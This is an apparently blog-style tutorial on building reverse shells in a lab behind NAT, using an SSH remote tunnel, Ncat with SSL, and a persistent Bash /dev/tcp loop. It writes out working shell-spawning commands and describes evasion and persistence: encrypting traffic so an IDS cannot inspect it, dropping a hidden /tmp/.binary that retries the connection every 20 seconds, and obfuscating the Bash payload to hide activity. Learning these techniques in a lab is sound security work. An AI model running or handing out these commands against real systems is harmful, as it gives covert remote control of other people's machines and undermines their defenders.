Reverse shell is technique when a client connects to a server and the client provides its shell to the server. Clients is typically a host hidden behind the NAT or a firewall having an access to the server but not vice versa. Thanks to a reverse shell the server controls a client's shell having an access to the client's network even the client is hidden behind the NAT. They are several methods how to create a reverse shell used depending on software available on the client. I will show how to create a reverse shell using SSH, Ncat and Bash.
Picture 1 - Network Topology
Picture 1 shows our testing topology. The client (Ubuntu Server 16.04) is located behind the NAT with the IP address 192.168.1.4/24. The server (Kubuntu 16.04) has assigned the IP address 172.17.100.7/16.
1. Reverse Shell Using SSH Reverse Tunnel
This method is based on the fact that the client has knowledge of the server SSH login credentials and vice versa. SSH server must be running on both the server and client. Client must be allowed to access server through firewall.
$ ssh -R 10000:127.0.0.1:22 email@example.com
10000 - remote port opend on the server
22 - clients's local port
firstname.lastname@example.org - username and IP address of the server
First, check if port 10000 is open on server.
Picture 2 - TCP Port 10000 Opened on Server
Now we connect from the server to the client with the command:
$ ssh -p 10000 email@example.com
2. Reverse shell with Ncat using SSL encryption
In order to prevent IDS to inspect a content of network traffic we will use a version of Ncat that supports SSL. The netcat version provided by a Nmap package supports both SSL and IPv6.
$ ncat --version
Ncat: Version 7.01 ( https://nmap.org/ncat )
First, we will configure server to listen on all IP addresses and TCP port 10000.
$ ncat -l -k -v --ssl -p 10000
By default a TCP protocol is used. Only TCP Ncat mode supports SSL.
-k accept multiple connections in listen mode
-v verbose mode
--ssl connect with SSL
$ ncat -e /bin/bash --ssl 172.17.100.7 10000
-e executes /bin/bash
Ncat is working great but in many cases it is not installed on the client. To provide a correct version of Ncat I have created a script runncat.sh that contains converted Ncat binary from the Nmap package to base64 and hexa strings that are stored in particular variables. The script extracts ncat to a file /tmp/.binary. Then it checks if there is an established session with the server 172.17.100.7. If no, it tries to connects to the server 172.17.100.7, TCP port 10000. If connection is successful, session between client and server is established and script waits. If no connection is established, the script keeps to connect the server every 20 seconds.
3. Reverse Shell with Bash
Scripting languages can be used to create a reverse shell. I will show a reverse shell using Bash that is very common in Linux. Again, we start the Ncat on the server to listen on a port 10000.
$ ncat -l -k -v --ssl -p 10000
$ while true; do (/bin/bash -i > /dev/tcp/172.17.100.7/10000 0>&1 2>&1) > /dev/null 2>&1; [ "$?" == 1 ] && sleep 20; done
To hide our activity in the system we will slightly change a script written by Danielle Bellavista which obfuscates our Bash reverse shell command. The script obfuscator.sh creates a file payload in a actual directory. Then we just copy a file payload to the client, assign execute privileges to the file and run it on the client.